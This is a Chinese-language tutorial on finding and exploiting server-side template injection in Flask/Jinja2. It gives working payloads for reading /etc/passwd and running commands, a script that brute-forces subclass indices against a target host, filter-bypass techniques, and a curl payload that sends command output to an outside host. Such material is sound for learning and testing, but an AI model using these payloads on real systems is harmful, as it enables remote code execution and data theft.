从0开始挖洞:服务器端模板注入(SSTI)

2022/9/16 6:17:33

本文主要是介绍从0开始挖洞:服务器端模板注入(SSTI),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

一、SSTI简介

SSTI, 即 Server-Side Template Injection,服务器端模板注入

1、SSTI产生原因

在MVC框架中,用户的输入通过 View 接收,交给 Controller ,然后由 Controller 调用 Model 或者其他的 Controller 进行处理,最后再返回给View ,这样就最终显示在我们的面前了,那么这里的 View 中就会大量地用到一种叫做模板的技术。
绕过服务端接收了用户的恶意输入后,未经任何处理就将其作为web应用模板内容的一部分,而模板引擎在进行目标编译渲染的进程中,执行了用户恶意攻击者插入的可以破坏模板的语句,就会导致信息泄露、代码执行、GetShell等问题。

网站模板引擎:
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

现行的模板引擎有:
PHP 的 Smarty, Twig, Blade.
Java 的 JSP, FreeMareker, Velocity.
Python 的 Flask(Jinja2), django, tornado
......

简单来说,可以理解为利用模板引擎来生成前端的HTML代码。模板引擎会会提供一套生成HTML代码的程序,然后只需要获取用户的数据,将其放到渲染函数里,最后生成模板+用户数据的前端HTML页面,反馈给浏览器,从而呈现在用户面前。当这里的“用户的数据”具有恶意攻击性而又不被处理时,SSTI就发生了。

2、SSTI检测工具 Tplmap

工具地址:https://github.com/epinna/tplmap
安装教程:https://www.cnblogs.com/ktsm/p/15691652.html
使用教程:https://blog.csdn.net/EC_Carrot/article/details/109709767

【参考资料:详解SSTI模板注入

二、SSTI 利用

以Flask(Jinja2)为例(windows),该版块仅涉及主机上的python语法

Ⅰ. 基础知识

1、Python 内建函数

启动 python 解释器时,即使没有创建任何变量或函数还是会有很多函数可供使用,这些就是 python 的内建函数。在 Python 交互模式下,使用命令 dir('builtins') 即可查看当前 Python 版本的一些内建变量、内建函数,内建函数可以调用一切函数

2、Python 类继承

Python 中一切皆为对象,均继承于 object 对象,Python 中的 object 类中集成了很多的基础函数,假如需要在 payload 中使用某个函数就需要用 object 去操作。

常见的继承关系有以下三种:

1. base :对象的一个基类,一般是object
2. mro  :获取对象的基类,只是这时会显示整个继承链的关系,是一个列表,而object在最列表的最顶层,通过mro[-1]可以获取到
3. subclasses() : 继承此对象的子类,返回一个列表

Ⅱ. 构造payload


攻击方式为:变量->对象->基类->子类遍历->全局变量

1、相关属性

对于返回的是类实例:
1. __class__            //返回实例的对象,可以使实例指向class,从而使用下面的魔术方法
如:
>>>''.__class__  
<class 'str'>

对于返回的是定义的class类:
2. __base__              //返回类的父亲 python3
3. __mro__               //返回类继承的元组,即寻找父类 python3
4. __subclasses__()      //返回类中仍然可用的引用,可以此获取想要的类的对象 python3
如:
>>> ''.__class__.__mro__[-1].__subclasses__()[138]  
<class 'os._wrap_close'>   
Tip:根据索引值来获取想用的可利用类,不加索引会输出全部存活的引用

5. __builtins__          //作为默认初始模块出现,可用于查看当前所有导入的内建函数
6. __globals__           //对包含函数全局变量的字典的引用。如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量 python3
7. __init__              //返回类的初始化方法
如:
>>> ''.__class__.__bases__[0].__subclasses__()[38].__init__
<slot wrapper '__init__' of 'object' objects>
Tip: 'wrapper'是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性

2、一个简单的payload寻找过程

Ⅰ. 找到__globals__全局

根据上述属性,找到重载过的 __init__ 类(在获取初始化属性后,带 wrapper 的说明没有重载,因此寻找不带 warpper 的即可),并通过 __globals__ 全局来查找所有的方法及变量及参数,或者获取 fileos 等模块以进行下一步的利用。

>>> ''.__class__.__bases__[0].__subclasses__()[138].__init__
<function _wrap_close.__init__ at 0x0000025AA50BAEE0>

Ⅱ. 查看其引用__builtins__

''.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['__builtins__']            
Tip:这里会返回 dict 类型,寻找 keys 中可用函数,使用 keys 中的 file 等函数来实现读取文件的功能

Ⅲ. 使用可利用函数实现文件读取功能等

''.__class__.__mro__[-1].__subclasses__()[138].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

3、常用的目标函数

file
subprocess.Popen
os.popen
exec
eval

几个含有eval函数的类:
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
......

4、命令执行

Python常用的三种命令执行方式:

os.system()
该方法的参数就是 string 类型的命令,在 linux 上返回值为执行命令的 exit 值;而windows上返回值则是运行命令后 shell 的返回值;注意:该函数返回命令执行结果的返回值,并不是返回命令的执行输出(执行成功返回0,失败返回-1),因此需要配合 curl 外带数据查看回显 #这里画个问号

os.popen()
返回的是 file read 的对象,如果想获取执行命令的输出,则需要调用该对象的 read() 方法

直接寻找 os 模块执行命令
先编写脚本遍历Python中含有os模块的类的索引号,然后选取其中一个构造payload执行命令,脚本如下:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"

    res = requests.get(url=url, headers=headers)
    if 'os.py' in res.text:
        print(i)

用例:

''.__class__.__mro__[-1].__subclasses__()[138].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
Tip: 需要导入os模块
''.__class__.__mro__[-1].__subclasses__()[138].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")
Tip: 需要导入os模块

''.__class__.__mro__[-1].__subclasses__()[79].__init__.__globals__['os'].popen('dir').read()

我们可以看到,即使是使用os模块执行命令,其也是调用的os模块中的popen函数,那我们也可以直接调用popen函数,存在popen函数的类一般是 os._wrap_close,但也不绝对。由于目标Python环境的不同,我们还需要遍历一下。

事实上,在本地python环境下,可以直接在os._wrap_close找到popen函数:
''.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['popen']('dir').read()

【参考资料:以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用】

三、模板注入绕过

1、语法

官方文档对于模板的部分语法介绍如下(仍然以jinja2为例:Template Designer Documentation)

1.
{% ... %} for Statements 
可用来声明变量,也可用以循环语句和条件语句
{{ ... }} for Expressions to print to the template output
用于将表达式打印到模板输出
{# ... #} for Comments not included in the template output
表示未包含在模板输出中的注释
#  ... # for Line Statements
## 可以有和 {%%} 相同的效果

2.
You can use a dot (.) to access attributes of a variable in addition to the standard Python __getitem__ “subscript” syntax ([]). --官方原文
可以用 . 或者 [] 来访问变量的属性,也就是说
{{"".__class__}}  等价于  {{""['__classs__']}}

因此,当.被过滤时,我们可以使用[]以绕过。

  1. 如果想调用字典中的键值,其本质其实是调用了魔术方法__getitem__

所以对于取字典中键值的情况不仅可以用[],也可以用__getitem__

{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
  1. 调用对象的方法,具体是调用了魔术方法__getattribute__
"".__class__
"".__getattribute__("__class__")

2、绕过

Ⅰ. 字符串

1、拼接
"cla"+"ss"
2、反转
"__ssalc__"[::-1]
3、编码绕过(ASCII码、Unicode编码等)
4、利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}  //%2b为 + ,拼接字符串
==>{{"".__class__}}

5、在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

6、大小写过滤转换

Ⅱ. 过滤器

在模板中, 过滤器相当于一个函数, 把当前的变量传入到过滤器中, 然后过滤器根据自身功能, 再返回对应的值, 之后再把结果渲染到页面中
基本语法: {{ 变量 | 过滤器名称 }} 使用管道符号|进行组合,可以链接多个过滤器。一个过滤器的输出应用于下一个过滤器。

常用的过滤器:

1. attr
#用于获取变量,可用于. [] 都被过滤的情况
""|attr("__class__") <==> "".__class__
2. format
#格式化字符串
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)  
<==>  
"__class__"
3. join
#将一个序列拼接成一个字符串,join ('|')将令每一个元素被'|'隔开
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
<==>
""["__class__"]
4. lower
#转换成小写
5. replace
#替换字符串
"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
"__ssalc__"|reverse 构造出 "__class__"
6. string
#将变量转换为字符串,这样就可以通过浏览器显示的符号构造出我们可利用的字符串、符号等
().__class__   出来的是<class 'tuple'>
().__class__|string)[0] 出来的是<

【资料查阅:SSTI模板注入绕过(进阶篇)】

Ⅲ. 关键字绕过

  1. .[]

可用过滤器attr绕过,若.可用,还可以__getitem__绕过[]

  1. ""_绕过

request.argsrequest.valuesrequest.cookies 是 flask 中的属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来进而绕过了引号的过滤
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

  1. {{}}绕过

{%绕过
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=whoami').read()=='p' %}1{% endif %}

四、SSTI检测

1、Tplmap

2、附表


使用标志测试。如jinja2:{{7+8}},如果输出15,则有可能存在SSTI漏洞。

<图源: https://www.cnblogs.com/icez/archive/2018/04/07/ssti_check_payload.html>



这篇关于从0开始挖洞:服务器端模板注入(SSTI)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程